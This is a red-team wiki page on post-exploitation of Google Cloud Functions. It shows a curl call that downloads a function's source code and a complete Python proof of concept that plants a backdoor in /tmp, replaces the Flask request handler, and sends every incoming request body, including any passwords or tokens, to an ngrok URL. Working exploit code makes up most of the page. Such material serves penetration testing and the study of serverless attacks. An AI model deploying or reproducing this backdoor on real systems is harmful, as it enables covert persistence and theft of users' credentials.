GCP - Cloud Functions Post Exploitation

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Cloud Functions

Find some information about Cloud Functions in:

pageGCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

With this permission you can get a signed URL to be able to download the source code of the Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Steal Cloud Function Requests

If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could modify the source code of the function and exfiltrate this information.

Moreover, Cloud Functions running in python use flask to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to override the function handler that is going to receive the HTTP requests for a malicious function that can exfiltrate the request before passing it to the legit handler.

For example this code implements the attack:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
    """HTTP Cloud Function.
    Args:
        request (flask.Request): The request object.
        <https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
    Returns:
        The response text, or any set of values that can be turned into a
        Response object using `make_response`
        <https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
    """

    if not last:
        return injection()
    else:
        if error:
            return error
        else:
            return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
    try:
        from urllib import request as urllib_request
        req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
        urllib_request.urlopen(req, timeout=0.1)
    except Exception as e:
        if not "read operation timed out" in str(e):
            return str(e)
    
    return ""

def new_http_view_func_wrapper(function, request):
    def view_func(path):
        try:
            error = exfiltrate(request)
            return function(request._get_current_object(), last=True, error=error)
        except Exception as e:
            return str(e)
    
    return view_func
"""

def injection():
    global new_function
    try:
        from flask import current_app as app
        import flask
        import os
        import importlib
        import sys        

        if os.access('/tmp', os.W_OK):
            new_function_path = "/tmp/function.py"
            with open(new_function_path, "w") as f:
                f.write(new_function)
            os.chmod(new_function_path, 0o777)
        
        if not os.path.exists('/tmp/function.py'):
            return "/tmp/function.py doesn't exists"

        # Get relevant function names
        handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
        source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
        realpath = os.path.realpath(source_path) # Get full path

        # Get the modules representations
        spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
        module_handler = importlib.util.module_from_spec(spec_handler)

        spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
        module_backdoor = importlib.util.module_from_spec(spec_backdoor)

        # Load the modules inside the app context
        with app.app_context():
            spec_handler.loader.exec_module(module_handler)
            spec_backdoor.loader.exec_module(module_backdoor)

        # make the cloud funtion use as handler the new function 
        prev_handler = getattr(module_handler, handler_fname)
        new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
        app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
        return "Injection completed!"
    
    except Exception as e:
        return str(e)

Last updated